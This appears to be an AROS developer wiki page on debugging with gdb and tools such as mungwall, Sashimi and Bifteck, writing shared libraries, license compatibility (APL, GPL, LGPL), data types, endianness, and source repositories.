In AROS open a shell, then (in host shell) use CTRL-Z to go into gdb. Use &quot;b Exec_CreatePool&quot; (one of the functions used early on by startup code in programs) to add a breakpoint, then &quot;cont&quot; and gdb will interrupt somewhere early during startup of &quot;program&quot;. Use &quot;bt&quot; to show backtrace and &quot;loadseg&quot; for &quot;??&quot; entries. One of them will be for &quot;program&quot;. After that you can use &quot;disassemble program&quot;.

One thing you need to make sure is that .gdbinit you have in your build directory is the same as in source tree. It has been modified some time ago, but the build system does not refresh it - you need to copy it manually

To recap, please read our debugging [http://aros.sourceforge.net/documentation/developers/debugging.php manual]:


To detect segfaulting when loading, try...

 ./configure—enable-debug—with-optimization=&quot;-O2&quot;

Because crash or no crash may depend on optimization. For newer compilers maybe this helps...

 --with-optimization=-&quot;-O2 -fno-strict-aliasing&quot;

One way to make crashes less random (more easily reproducible) is to activate the munging of free memory in rom/exec/freemem.c which is normally commented out:

&lt;pre&gt;
Index: freemem.c
===================================================================
--- freemem.c   (revision 34289)
+++ freemem.c   (working copy)
@@ -154,11 +154,12 @@
         * created with their TCB placed in the tc_MemEntry list. The workaround
         * is to avoid munging when FreeMem() is called with task switching disabled.
         */
+
        /* DOH! it doesn't work even this way. What's wrong???
-        *
-        * if ((SysBase-&gt;TDNestCnt &lt; 0) &amp;&amp; (SysBase-&gt;IDNestCnt &lt; 0))
-        *      MUNGE_BLOCK(memoryBlock, MEMFILL_FREE, byteSize);
         */
+
+       if ((SysBase-&gt;TDNestCnt &lt; 0) &amp;&amp; (SysBase-&gt;IDNestCnt &lt; 0))
+           MUNGE_BLOCK(memoryBlock, MEMFILL_FREE, byteSize);

     }
&lt;/pre&gt;

Mungwall can be turned on at runtime. Currently this works in all hosted versions. Just specify &quot;mungwall&quot; on kernel command line and it works. It can work on native too. In order to enable it you need to parse kernel command line, and if &quot;mungwall&quot; is present, set EXECF_MungWall bit in IntExecBase.IntFlags.

This needs to be done before the first AllocMem() for obvious reasons. And never reset back this flag! If you change it on a working system, you are doomed.

Hosted ports do the processing in rom/exec/prepareexecbase.c --enable-debug=mungwall option in configure still works but is going obsolete.  A kludge in rom/exec/allocmem.c is responsible for this and it needs to be removed when the transition is done.

BTW,  on  i386-pc  port it can be activated by &quot;mungwall&quot; argument on command line, you don't need to rebuild AROS.
New mungwall affects not only AllocMem()/FreeMem(), but also pools. I also tested it with AllocAbs(), seems to work correctly.

Runtime mungwall works on:

* pc-i386
* pc-x86_64
* linux-i386
* linux-x86_64
* darwin-x86
* linux-ppc

Works on all hosted ports, if the port itself is working.

* amiga-m68k
* Not on sam440-ppc and efika-chrp-ppc, even if they would be able to be built at moment. Does not work on (for now, need NVRAM support)

When starting my freshly rebuilt i386-linux-aros which was compiled with full debugging support I get sometimes the error &quot;Program exited with code 0377&quot;. Add the following to your .gdbinit: 
 set follow-fork-mode child

Here are some of the custom AROS gdb functions (defined in &quot;.gdbinit&quot; file) to resolve &quot;in ?? ()&quot; entries in backtrace: 
&lt;pre&gt;
#0 0xb7ffd424 in __kernel_vsyscall ()
#1 0xb7e2a657 in sigsuspend () from /lib/libc.so.6
#2 0xb7c63900 in ?? ()
#3 0xb7c640e3 in ?? ()
#4 0xb7c641e0 in ?? ()
&lt;/pre&gt;

You can use

 loadseg 0xb7c63900
 loadframe 2
or
 loadbt
and some others. Use &quot;help &quot; for a little help text. If the commands do not work try &quot;loadkick&quot; first.


Use &quot;thistask&quot;, &quot;taskready&quot;, &quot;taskwait&quot; to get list of AROS tasks. &quot;bttask &quot; shows backtrace of a task which is in ready or in wait queue and &quot;loadseg&quot; to resolve &quot;??&quot; entries in it's backtrace (&quot;loadframe&quot; would not work as it assume current running task).

===Native debugging tools for AROS===

 to enable debugging at boot time entering the GRUB menu editing line (E key) and adding &quot;debug=memory&quot; to your boot line, then press Ctrl+X to complete booting.


SYS:Tools/Debug/'''Bifteck'''

Open a shell and enter the line below to run Biftek and grab the debug messages collected in RAM into a text file.

 tools/debug/bifteck &gt; ram:debug.txt

and certainly does not open a window. It is a shell tool and only dumps data located from the debug location.
It is therefore important to 'catch' that debug data as soon as possible (before it gets overridden). You should invoke bifteck at the first opportunity before doing anything else.  You can use the TO option to store bifteck output to a file or you can pipe it manually to a file.  


SYS:Tools/Debug/'''Sashimi''' - displays error messages

One suggestion is to do a bug() debugging. Each time bug() is executed it will be output on sashimi. 
You include &lt;aros/debug.h&gt; and place bug(&quot;something\n&quot;); in your source code at location though which control passes.

To get the output - open an aros shell

 SYS:Tools/Debug/sashimi &gt; RAM:out.txt

'''Ctrl C''' to end the output to the RAM Disk.

# open shell, and type
# ram: (to switch to ram drive)
# System:Tools/Debug/Sashimi &gt; mylogfile.txt
# open AHI prefs using wanderer (or use another opened shell)
# play test sound
# close AHI prefs
# shell still open with Sashimi running: press ctrl-c to break Sashimi and return to prompt.
# in shell: copy mylogfile.txt System: (or to your required location)


SYS:Utilities/'''Snoopy''' - monitors OS function calls, run &quot;Sashimi&quot; to see Snoopy's output


SYS:Tools/'''WiMP'''    - the Window (and Screens) Manipulation Program

You can use the -E option of gcc to find out how preprocessor macros are expanded.

===Errors===

crash in strcasecmp usually means that one of its arguments is NULL.

empty space between these two names, prossibly some invisible character 

Old Amiga [http://www.amigacoding.com/index.php?title=Guru_codes&amp;redirect=no Guru Codes]

If the crash is in intuition. Sometimes, if it relates to text, a null pointer sets it off. 
an uninitialised pointer can have any address (this is a common fault).


Compiling on 64bit, Many old code would not properly typecast when doing pointer-integer conversions and thus at least throw a warning. This can easily be located and fixed.

[http://www.aros.org/cs/documentation/developers/app-dev/portable.php Portable code] 

* Use texteditor or some tool to replace all &quot;ULONG&quot; with &quot;IPTR&quot; and &quot;LONG&quot; with &quot;SIPTR&quot; in the sources.
* Fix (change IPTR/SIPTR back to ULONG/LONG) the few places which really rely on ULONG/LONG being exactly 32 bit. That's for things like pixel (ARGB) buffers, structs written/read to disk, colormaps, but probably not much else.

Then again, many current compilers also throw a warning when you try to assign a pointer value to an integer and the integer is possibly too small. This happens under .NET for example when a 64 bit pointer is assigned to something like an ULONG - so exactly the case which you described.


=== Example ===

&lt;syntaxhighlight lang=&quot;c&quot;&gt;
/* 1. Header for your name,date,purpose of program.
2. Pre-processor directives. This will include the #includes for files you want to add. 
3. Includes for function prototypes if necessary.
4. Main()
Create Pointers for Libraries and any Window you want to open.
5. Open necessary libraries.
6. Check if open exit program if fail.
7. Open a window exit program if fail.
8. Add your program
9. Close Window
10 Close Libraries.
11 End Program. */

/* standard os included headers &lt;.h&gt; */
#include &lt;dos/dos.h&gt;
#include &lt;dos/dosasl.h&gt;
#include &lt;dos/dosextens.h&gt;
#include &lt;dos/exall.h&gt;
#include &lt;dos/rdargs.h&gt;
#include &lt;exec/memory.h&gt;
#include &lt;exec/types.h&gt;
#include &lt;utility/utility.h&gt;
#include &lt;intuition/intuition.h&gt;

/* define as unresolved external references (proto/xxx.h) and compiler will link to auto(matically) open library */ 
#include &lt;proto/arossupport.h&gt;
#include &lt;proto/dos.h&gt;
#include &lt;proto/exec.h&gt;
#include &lt;proto/intuition.h&gt;
#include &lt;proto/graphics.h&gt;
#include &lt;proto/cybergraphics.h&gt;
#include &lt;proto/datatypes.h&gt;
#include &lt;proto/icon.h&gt;

#include &lt;workbench/workbench.h&gt;
#include &lt;workbench/icon.h&gt;

#include &lt;datatypes/pictureclass.h&gt;

#include &lt;proto/muimaster.h&gt;
#include &lt;libraries/mui.h&gt;

#include proto/bsdsocket.h

#include &lt;ctype.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

/* my own headers &quot;.h&quot; */

#define CTRL_C      (SetSignal(0L,0L) &amp; SIGBREAKF_CTRL_C)
#define  isDir(fib) ((fib)-&gt;fib_DirEntryType &gt;= 0)

#define ARG_TEMPLATE    &quot;FILE/A,ALL/S,QUIET/S,W=WIDTH/N,H=HEIGHT/N,M=METHOD,DEFTOOL&quot;

int main(void)
{


	return retval;
} /* main */
&lt;/syntaxhighlight&gt;

&lt;syntaxhighlight lang=&quot;c&quot;&gt;
&lt;/syntaxhighlight&gt;

If you used c++, there is not yet c++ support in our shared library system. 
The easiest way to create / compile a shared library would be to use the AROS build system but the libraries can be created manually. You have to create a ROMTAG structure and some header files.  

A shared library is built with the %build_module macro with a line like this:

 %build_module mmake=MetaTarget modname=mylib modtype=library files=SourceFiles 

This macro can build different AROS module types, like devices, Zune classes, HIDDs, etc.

&lt;pre&gt;
##begin config
version 1.0
##end config

##begin functionlist
void func1(LONG a, LONG b)
int func2(char *s, ULONG a)
##end functionlist
&lt;/pre&gt;


Alternatively,  

&lt;pre&gt;
#ifndef LIB_H
#define LIB_H

#define __NOLIBBASE__

#include &lt;exec/libraries.h&gt;
#include &lt;exec/semaphores.h&gt;
#include &lt;dos/dos.h&gt;

#ifdef __AROS__
//#include &lt;aros/debug.h&gt;
#define reg(x)
#define __saveds
#endif

#define USESYSBASE struct ExecBase *SysBase = Base-&gt;My_SysBase;

struct MyTestBase
{
  struct Library   My_Test_Lib;
	struct ExecBase *My_SysBase;
	APTR             My_SegList;
  int              testint;
};

#endif
&lt;/pre&gt;

&lt;pre&gt;
/*--------------------------------------------------------------------------*/
/* Resident header written for mytest.library */
/*--------------------------------------------------------------------------*/

#define __NOLIBBASE__

#define VERSION         1
#define REVISION        0

#define LIBHEADNAME     mytest
#define LIBHEADNAMESTR &quot;mytest&quot;
#define COMPDATE        &quot;04.10.2015&quot;
#define VERS            &quot;1.0&quot;

#define LIBBASETYPE 	struct MyTestBase
#define LIBBASETYPEPTR  LIBBASETYPE *

#include &lt;aros/debug.h&gt;
#include &lt;exec/exec.h&gt;
#include &lt;proto/exec.h&gt;
#include &lt;exec/resident.h&gt;
#include &lt;exec/nodes.h&gt;
#include &lt;exec/libraries.h&gt;
#include &lt;aros/symbolsets.h&gt;
#include &quot;lib.h&quot;

const UBYTE lib_name[] = LIBHEADNAMESTR &quot;.library&quot;;

const UBYTE lib_id[] = &quot;$VER: &quot; LIBHEADNAMESTR &quot;.library &quot; VERS &quot; (&quot; COMPDATE &quot;) by ALB42\n&quot;;

extern const APTR FuncTable[];

AROS_UFP3 (LIBBASETYPEPTR, InitLib,
    AROS_UFPA(LIBBASETYPEPTR, Base, D0),
    AROS_UFPA(BPTR, seglist, A0),
    AROS_UFPA(struct ExecBase *, sysbase, A6)
);

static struct LibInitStruct
{
    IPTR                   LibSize;
    const APTR             *FuncTable;
    const struct DataTable *DataTable;
    APTR                    InitFunc;
}
const LibInitStruct =
{
    sizeof(LIBBASETYPE),
    FuncTable,
    NULL,
    (APTR)InitLib
};

const struct Resident romtag =
{
  RTC_MATCHWORD,              /* match word */
  (APTR)&amp;romtag,              /* back pointer */
  (APTR)(&amp;romtag + 1),        /* skip pointer */
  RTF_AUTOINIT | RTF_EXTENDED,/* flags */
  VERSION,                    /* version */
  NT_LIBRARY,                 /* type of module */
  0,                          /* init priority */
  (STRPTR)lib_name,           /* module name */
  (STRPTR)lib_id + 6,
  (APTR)&amp;LibInitStruct,
  REVISION, NULL
};

AROS_UFH3 (LIBBASETYPEPTR, InitLib,
    AROS_UFHA(LIBBASETYPEPTR, Base, D0),
    AROS_UFHA(BPTR, seglist, A0),
    AROS_UFHA(struct ExecBase *, sysbase, A6)
    )
{
    AROS_USERFUNC_INIT
    
    Base-&gt;My_SegList = seglist;
    Base-&gt;My_SysBase = (APTR)sysbase;
    Base-&gt;testint = 0;
    
    USESYSBASE
    bug(&quot;InitLib\n&quot;);
    
    if (!set_open_libraries())
    {
      set_close_libraries();
      return NULL;
    }
    
    return Base;
    
    AROS_USERFUNC_EXIT
}

AROS_LH1(LIBBASETYPEPTR, LibOpen,
    AROS_LHA (ULONG, version, D0),
    LIBBASETYPEPTR, Base, 1, LIBHEADNAME
    )
{
    AROS_LIBFUNC_INIT
    
    USESYSBASE
    bug(&quot;LibOpen\n&quot;);

    (void)version;
    
    Base-&gt;My_Test_Lib.lib_OpenCnt++;
    return Base;

    AROS_LIBFUNC_EXIT
    
}

__saveds APTR LibExpungeInternal(LIBBASETYPE *Base reg(a6))
{
  USESYSBASE
  APTR seglist;
  bug(&quot;LibExpungeInternal\n&quot;);

  if (Base-&gt;My_Test_Lib.lib_OpenCnt)
  {
    return 0;
  }

  seglist = Base-&gt;My_SegList;

  Forbid();
  Remove((struct Node*)Base);
  Permit();
  FreeMem((APTR)Base - Base-&gt;My_Test_Lib.lib_NegSize, (LONG)Base-&gt;My_Test_Lib.lib_PosSize +
    (LONG)Base-&gt;My_Test_Lib.lib_NegSize);
  
  set_close_libraries();
  return seglist;
}

AROS_LH0(BPTR, LibClose,
    LIBBASETYPEPTR, Base, 2, LIBHEADNAME
    )
{
    AROS_LIBFUNC_INIT
    USESYSBASE
    bug(&quot;LibClose\n&quot;);

    if (!(--Base-&gt;My_Test_Lib.lib_OpenCnt))
    {
      return LibExpungeInternal(Base);          
    }
    return 0;
	
    AROS_LIBFUNC_EXIT
}

AROS_LH1(BPTR, LibExpunge,
    AROS_LHA(LIBBASETYPEPTR, Base, D0),
    struct ExecBase *, sysBase, 3, LIBHEADNAME
    )
{
    AROS_LIBFUNC_INIT

    (void)sysBase;
    
    USESYSBASE
    bug(&quot;LibExpunge\n&quot;);

    return LibExpungeInternal(Base);
	
    AROS_LIBFUNC_EXIT
}

AROS_LH0(LIBBASETYPEPTR, LibReserved,
    LIBBASETYPEPTR, Base, 4, LIBHEADNAME
    )
{
    AROS_LIBFUNC_INIT
    USESYSBASE
    bug(&quot;LibReserved\n&quot;);

    return 0;
    //return (APTR)LibReserved();
    
    AROS_LIBFUNC_EXIT
}


// Space for your own functions
// do not forget to update the FuncTable as well

AROS_LH1(int, TestFunction,
    AROS_LHA(int, TestValue, D0),
    LIBBASETYPEPTR, Base, 5, LIBHEADNAME
    )
{
    AROS_LIBFUNC_INIT
    USESYSBASE
    bug(&quot;TestFunction\n&quot;);

    Base-&gt;testint = TestValue + Base-&gt;testint;
    
    return Base-&gt;testint;
    
    AROS_LIBFUNC_EXIT
}

// Functable -&gt; Table of all functions in the Library, in right order - important!

const APTR FuncTable[] = 
{
    &amp;AROS_SLIB_ENTRY(LibOpen,LIBHEADNAME,1),
    &amp;AROS_SLIB_ENTRY(LibClose,LIBHEADNAME,2),
    &amp;AROS_SLIB_ENTRY(LibExpunge,LIBHEADNAME,3),
    &amp;AROS_SLIB_ENTRY(LibReserved,LIBHEADNAME,4),
    &amp;AROS_SLIB_ENTRY(TestFunction,LIBHEADNAME,5),
    (void *)-1
};

// AutoInit stuff
void *__PROGRAM_ENTRIES__symbol_set_handler_missing;
void *__LIBS__symbol_set_handler_missing;
// end of AutoInitStuff
&lt;/pre&gt;

Makefile
&lt;pre&gt;
VPATH = 
CFLAGS = -O2 -g -fomit-frame-pointer -W -Wall -Wno-parentheses
CC = i386-aros-gcc
LD = i386-aros-gcc
LDFLAGS = -nostartfiles -Wl,-Map -Xlinker linkermap
LIBS = -lautoinit -llibinit
STRIP = i386-aros-strip --strip-unneeded --remove-section .comment

OBJS = lib_header.o 

all: mytest.library

mytest.library: $(OBJS)
	$(LD) $(LDFLAGS) $^ $(LIBS) -o $@

lib_header.o: lib_header.c lib.h

clean:
	rm -f *.o *.library *.ppu testlibrary linkermap
&lt;/pre&gt;


Porting UNIX library to AROS - dealing with static variables which would make it easy to port such libraries to AROS, keeping the benefits of sharing them on disk, but losing the benefit of actually sharing them in memory.

Our problem arises by the fact we want to share the actual code (the .text section of the library) and constant data, but we need to have per-task .bss and .data sections. If we get rid of our intention to share the .text and .rodata sections, things get quite easy: just load and relocate the library whenever it's open, by whoever it's open. It's like statically linking the library into the executable, except that the final linking is done at runtime.

In the V0 branch, in workbench/hidds/hidd.nouveau was committed pcimock.hidd. This is a pci driver that allows mocking real PCI devices under linux-hosted. The main idea is to be able to run the real hardware driver under linux-hosted with as little changes as possible (some changes will always be needed though unless someone wants to write complete device simulator) so that driver's code paths can be executed and debugged using gdb. This was a very helpful capability when porting nouveau. Now it is externalized from nouveau.hidd and can be used by other people porting drivers. The pcimock.hidd can currently mock 4 different nvidia cards, 1 AGP bridge and also mock irq.hidd.

What's the difference between this driver and the pcilinux.hidd? I used that one to develop many different HW drivers for aros. As far as I understood the intention of pcilinux.hidd it is supposed to get access to real hardware that is running under linux. The pcimock.hidd goal is to mock the hardware. For example my dev box is a PCIE system, but I still would like to run the AGP codes paths in nouveau under linux-hosted to check if they don't seg fault. The other case would be to run codes paths for hardware that the developer does not have (Fermi cards in my case). In the case of pcimock.hidd, the AROS driver's code paths will execute as long as you add proper mocking (for example fill in PCI config area or values for registers in BARs). This is an advantage for ported drivers - the code should already work (since it worked on another system) but there might have been mistakes made during porting which can be detected easily with gdb.

In case you are writing your driver from scratch, pcilinux.hidd hidd will give you more advantage, since you can actually access the real hardware from linux-hosted.


== Misc ==

===APL, MPL, BSD, GPL and LGPL Licences===

The majority of AROS sources in licensed under AROS Public License ([http://aros.sourceforge.net/license.html APL]) which (to a degree) protects us from someone taking AROS sources and not contributing improvements back (for example MorphOS took some AROS source and then contributed changes back)

It is written to allow the use of AROS code in other open source or commercial projects without exception whilst providing a mechanism so that improvements/additions can find their way back to the original source in one form or another.

There are &quot;3rd&quot; party applications used by AROS that do not fall under this license, which are an extra &quot;Contrib&quot; download for convenience.

Anyone can port GPL-ed network and sound drivers as AROSTCP and AHI are GPLed. Direct using (porting) [http://www.gnu.org/licenses/gpl-faq.html#GPLIncompatibleLibs GPL]-ed code in other parts of AROS (gfx, sata, usb) is not possible because AROS license is not compatible with GPL. You need to utilize permissive licensed code like BSD or MIT/X11.


BSD and MPL license are the closest to APL.

APL however is not so compatible with LGPL/GPL.

LGPL case - you cannot statically combine APL code with LGPL. You can, however thank to LGPL being &quot;lesser&quot; restrictive, use LGPL dynamically loaded libraries in APL codes.

GPL case - you cannot combine APL code with GPL in any way if there is no explicit clause by GPLed code authors allowing that. If you do combine APL with GPL in &quot;bad&quot; ways described above - you have a problem (you violate GPL). This problem might result in everything in AROS becoming GPL or everything running or AROS becoming GPL (here I'm not sure really). The other scenario is that you are not allowed to legally distribute such code at all. To be honest I have grasped how to violate GPL, but I'm still no exactly sure what happens when you violate it (but I'm sure it's not anything nice)

GPL software can run on top of non-GPL &quot;system components&quot; (see system components exception of GPL), but the other way around (non-GPL using GPL) leads to problems. This means applications like scout, or Quake III are ok (in the majority of cases).

Theres no reason GPL drivers cannot be ported - but they cant be in AROS's ROM (requires linking APL code with GPL), nor can AROS depend on them (e.g. they must use existing apis).
If they are launched (dynamically linked) by a user action that is allowed. It is also allowed to distribute such binaries together for convenience.

GPL is not about statical or dynamic linking but is about executing process and function calls.


These components - SFS, isapnp, Zune texteditor, AHi, network drivers, freetype, openuirl, BHFormat, Edit and (&quot; dynamically loaded libraries&quot;) are LGPL, not GPL. Mesa/Nouveau stuff is MIT. Some user tools are GPL though.

'''AROS (system)'''
* system components (libraries/classes/devices/etc) cannot be GPL as they would propagate GPL to complete system as well as GPL is not compatible with MPL from which APL is based 
* system components can be LGPL v2 or a permissive license (MIT/BSD)
* system applications can be anything you like (but still I would prefer APL or permissive so the code can be reused if needed)

'''Contrib:'''
* no rules - contrib does not impact AROS system since nothing in AROS system depends on contrib.

About stealing code: The chances of this happening is exactly the same whether we are APL or GPL. If any closed-source option wanted to do it, there is no one that can validate otherwise. MorphOS has used some AROS codes, but contributed changes back.

The rationale behind APL is that while it guarantees that the original developer will get the improvements back (to a certain degree - file based), the person who uses the codes does not have to open his original codes. BSD does not guarantee that the original developer gets improvements. GPL requires the person using the codes to open his codes as well.

The copyright holders needs to stay - we just need information from them that the codes are available under APL (for example a checked-in file like in case of Poseidon). We don't do transfer of copyrights.

; Ultimately what can and cannot be done is up to the author(s) - not the licence.

===AROS source code tree===

* http://www.evillabs.net/AROS/Audit-2012-03-14/AROS-trunk.txt
* http://www.evillabs.net/AROS/Audit-2012-03-14/AROS-contrib.txt


Found this interesting (non-GPL) licensing 'anomaly' - to keep in mind for distributors.

Programs that lose their license if sold (&quot;non-profit only&quot; licensed):
  contrib/aminet/comm/term/TinyTerminal
  contrib/aminet/dev/basic/bwBASIC
  contrib/aminet/text/edit/xdme
  contrib/fish/aroach
  contrib/fish/lotto
  contrib/fish/shuffle
  contrib/fish/touch
  + cdvdfs.


Here is a list of all the GPL/GPLv2/GPLv3 licenses fossology found, what have explicit licenses in their comments.


 excluded LGPL, BSD/GPL dual licensed and programs (such as Prefs/Edit and BHFormat)

&lt;pre&gt;
AROS/rom/dbus/include/  AFL_v2.1 ,GPL_v2+  (supposedly AFL &lt; 3 is GPL incompatible) 
AROS/workbench/classes/zune/betterstring/include/  GPL_v2+
AROS/workbench/classes/zune/texteditor/include/  GPL_v2+
AROS/workbench/classes/datatypes/gemimage/ GPL_v2+ GPL
AROS/workbench/classes/datatypes/degas/  GPL_v2+
AROS/workbench/libs/openurl/README: GPL
AROS/workbench/network/smbfs/documentation/  GPL_v2
AROS/workbench/network/smbfs/source_code/  GPL_v2+
AROS/workbench/network/stacks/AROSTCP/bsdsocket/kern/  GPL_v2
AROS/workbench/network/stacks/AROSTCP/bsdsocket/mmakefile.src conf.h  GPL_v2
AROS/workbench/network/stacks/AROSTCP/bsdsocket/sys/  CMU ,GPL_v2
AROS/workbench/network/stacks/AROSTCP/bsdsocket/net/  GPL_v2
AROS/workbench/network/stacks/AROSTCP/bsdsocket/api/  GPL_v2
AROS/workbench/network/stacks/AROSTCP/bsdsocket/conf/conf.h: GPL_v2
AROS/workbench/network/stacks/AROSTCP/netinclude/net/radix.h: CMU ,GPL_v2
AROS/workbench/devs/AHI/AHI/  GPL_v2+
AROS/workbench/devs/AHI/AddAudioModes/ GPL_v2+  AROS/workbench/devs/AHI/AddAudioModes/COPYING: GPL 
AROS/workbench/devs/AHI/Docs/texinfo.tex: GPL_v2+
AROS/workbench/devs/AHI/COPYING: GPL
AROS/workbench/devs/AHI/Drivers/EMU10kx/  GPL_v2+
AROS/workbench/devs/AHI/AHI-Handler/  GPL_v2+
AROS/workbench/devs/networks/rtl8029/  GPL   GPL_v2+
AROS/workbench/devs/networks/pcnet32/  GPL   GPL_v2+
AROS/workbench/devs/networks/ppp/LEGAL: GPL
AROS/workbench/devs/networks/atheros5000/  GPL_v2+
AROS/workbench/devs/networks/rhine/  GPL_v2+
AROS/workbench/devs/networks/nForce/  GPL_v2+  GPL
AROS/workbench/devs/networks/prism2/  GPL  GPL_v2+
AROS/workbench/devs/networks/fec/LEGAL: GPL
AROS/workbench/devs/networks/rtl8139/  GPL  GPL_v2+
AROS/workbench/devs/networks/etherlink3/  GPL  GPL_v2+
AROS/workbench/devs/networks/intelpro100/  GPL  GPL_v2+
AROS/workbench/devs/networks/rtl8169/  GPL   GPL_v2+
AROS/workbench/devs/networks/emac/   GPL   GPL_v2+
AROS/workbench/devs/networks/rtl8168/  GPL  GPL_v2+
AROS/workbench/devs/networks/realtek8180/   GPL_v2+
AROS/workbench/devs/networks/via-rhine/via-rhine.c: GPL_v2+
AROS/workbench/devs/networks/via-rhine/   GPL  GPL_v2+
AROS/workbench/devs/networks/e1000/  GPL_v2
AROS/workbench/devs/networks/sis900/  GPL   GPL_v2+
&lt;/pre&gt;

AHI: it has special provisions (COPYING.DRIVERS). The library is LGPL, preferences software is GPL and drivers can be anything without breaking GPL/LGPL.

Network stack: well, we are long overdue for a new, IPv6 enabled network stack anyway, anyone interested? ;) Seriously though it seems like the glue code is GPL and as all the drivers. However some of the drivers are our own code, so they could be relicensed to LGPL.

 Same filter as the AROS trunk list. These should all be libraries or plugins - no programs.

&lt;pre&gt;
contrib/regina/utsname.h: GPL_v2+

contrib/mui/classes/nlist/include/default-align.h: GPL_v2+
contrib/mui/classes/nlist/include/amiga-align.h: GPL_v2+

contrib/mui/classes/BWins/include/MUI/BWin_mcc.h: GPL
contrib/mui/classes/BWins/include/BWin_private_mcc.h: GPL
contrib/mui/classes/BWins/COPYING: GPL_v2
contrib/mui/classes/BWins/MCC_BWins.readme: GPL_v2

contrib/mui/classes/thebar/include/default-align.h: GPL_v2+
contrib/mui/classes/thebar/include/amiga-align.h: GPL_v2+

contrib/gfx/libs/wazp3d/LEGAL: GPL
contrib/gfx/libs/wazp3d/Wazp3D.readme: GPL
contrib/gfx/libs/wazp3d/Wazp3D-src/soft3d.c: GPL
contrib/gfx/libs/wazp3d/Wazp3D-src/soft3d_opengl.h: GPL
contrib/gfx/libs/wazp3d/Wazp3D-src/soft3d_opengl.c: GPL
contrib/gfx/libs/wazp3d/Wazp3D-src/Wazp3D.h: GPL
contrib/gfx/libs/wazp3d/Wazp3D-src/Wazp3D.c: GPL

contrib/libs/mpega/  GPL_v2+
&lt;/pre&gt;

http://www.evillabs.net/AROS/Audit-2012-03-14/AROS-contrib.txt

===Types===

On AROS following rules apply:
&lt;pre&gt; 
1. BYTE/UBYTE is 8bit, WORD/UWORD is 16bit, LONG/ULONG is 32bit, QUAD/UQUAD is 64bit, the types are comparable with stdint types (int8_t, int16_t, int32_t, int64_t)
2. IPTR/SIPTR are integer types large enough to fit pointer, that is sizeof(IPTR) = sizeof(APTR) = 4 on 32bit system, and = 8 on 64bit system
3. ti_Data in TagList is large enough to hold a IPTR/APTR type.
4. never store a pointer in integer of type LONG. It may work (if the pointer has upper 32bits clear), but does not have to. Compiler should warn you about that.
5. If you are unsure about point 4, allocate your memory with MEMF_31BIT flag set. But don't expect that AROS internals will do the same.
&lt;/pre&gt; 
point 4 is actually important.


* UBYTE/BYTE for 8bit
* UWORD/WORD for 16bit
* ULONG/LONG for 32bit
* UQUAD/QUAD for 64bit

&lt;pre&gt;
UBYTE    Unsigned 8 bit integer variable (byte).
BYTE     Signed 8 bit integer variable (byte).
UWORD    Unsigned 16 bit integer variable (word).
WORD     Signed 16 bit integer variable (word).
ULONG    Unsigned 32 bit integer variable (longword).
LONG     Signed 32 bit integer variable (longword).
FLOAT    32 bit IEEE floating point variable.
UQUAD    Unsigned 64 bit integer variable.
QUAD     Signed 64 bit integer variable.
DOUBLE   64bit IEEE floating point variable.
BOOL     Boolean variable, TRUE and FALSE are also defined in exec/types.h.
VOID     Void.

APTR     A generic pointer for multiple purposes - Arrays.
STRPTR   A pointer to a null-terminated string.
IPTR     Really important in AROS, the only way to declare a field that can contain both: an integer or a pointer.
&lt;/pre&gt;

if you want to write really portable app, you may be interested in standard datatypes defined in C99: int8_t, uint8_t, int16_t, uint16_t, int32_t, uint32_t, int64_t, uint64_t, intptr_t, uintptr_t. They are all defined in inttypes.h include file.

In exec/types.h the following short-cuts are typedef'd. They are used often in AROS, so you should nearly always include exec/types.h and soon only they will be removed from sys/_types.h include, all types are now defined in include files named aros/types/xxx.h.

(Preparation for C library split; sys/xxx.h include will only be available there when compiling with POSIX C library)


Compiler specific types, like int and long might change their size. In case of AROS, similar to linux, int remains 32 bit whereas long grows to 64 bits in size.

If you use Amiga-like data types, i.e. BYTE/UBYTE, WORD/UWORD, LONG/ULONG and QUAD/UQUAD or the C99 standard types (uint8_t and so on, see stdint.h include) then you should have less issues to solve than by using types without size guarantee.

Of course, all pointers grow to 64 bytes using 64bit cpu. Most of the code can be just recompiled and will work. In rare cases, where e.g. pointers are casted to integers, a special care must be taken. Especially in the cases, where pointer is casted to LONG/ULONG (this code will break on 64 bit AROS) e.g.  '#define IPTR ULONG'.

With compiler delint patches which the majority of them are simple casting issues to make the compiler happy. Notice some of the changes involve introducing double casts. In very recent versions of GCC. Yes, the bulk of the double casts are for converting 32 bit addresses (ie from a 32 bit PCI DMA address register) to a 64 bit pointer. First cast is to IPTR (to expand to 64 bits, and prevent sign extension if the address is above 0x7FFFFFFF), and then to APTR.

ULONG != IPTR except on 32bit .. so if you need to store pointers make sure and use IPTR and not ULONG (which some old code does). For this reason things like Taglist elements are 64bit (since the tag data can be a pointer). 
If your passing items on the stack you should use the STACKED attribute to make sure they are correctly aligned (on 64bit all items on the stack are 64bit..)

There is more issues like using &quot;== 0L&quot; causes problems.

===Endian===

*BE 
*LE

Use the macros from &lt;endian.h&gt; instead making a guess based upon architecture defines
 
&lt;pre&gt;
#if _BYTE_ORDER == _BIG_ENDIAN

#elif _BYTE_ORDER == _LITTLE_ENDIAN

#else
+
#error &lt;whatever.h&gt; - Byte order for this architecture is unsupported! 
&lt;/pre&gt;


===SVN and GIT===

If you want to help develop AROS OS itself, you can 

* view current GIT/SVN entries [http://aros.sourceforge.net/ Aros Org website] or [https://github.com/aros-development-team/AROS Github], [https://github.com/ezrec older ezrec mirror], [https://github.com/michalsc/AROS/ older mirror], [https://trac.aros.org/trac/timeline TRAC], [], 
* awaiting update [http://repo.or.cz/w/AROS.git git repo], [http://www.ohloh.net/p/aros/commits ohloh] or [https://svn.aros.org/svn/aros/trunk/ svn repo] and access [Git version git://repo.or.cz/AROS.git here], 
* deprecated [https://www.gitorious.org/aros/aros/commit/a7fda9e ARIX commits] or [https://gitorious.org/aros/aros GIT old]

If you have SVN access (early 2015 introduced a new SVN server, create a new account at trac aros org) and/or have obtained the source [http://aros.sourceforge.net/download.php AROS site] - you can compile the current build tools/environment using: 

 &gt; make development

and follow this [http://aros.sourceforge.net/documentation/developers/compiling.php#building procedure] or [https://github.com/apiraino/aros_guide Guide] 


https://trac.aros.org/trac#Developing

If you plan on contributing back changes, please post information about such changes first on this [http://mail.aros.org/mailman/listinfo/aros-dev/ mailing list] for more experience developers can validate whether they are correct.


Then there are the nightly build machines. They svn update before the build and run configure as one of the next steps. autoconf might be added to the nightly build scripts.

Our build relies on packages downloaded from Internet (SDL for example) - it always worked this way. The minimal requirement (when just building core AROS) is binutils and gcc. If you build contrib as well, you need many more packages to be downloaded.

https://gitorious.org/aros/aros/commits/crosstools-II

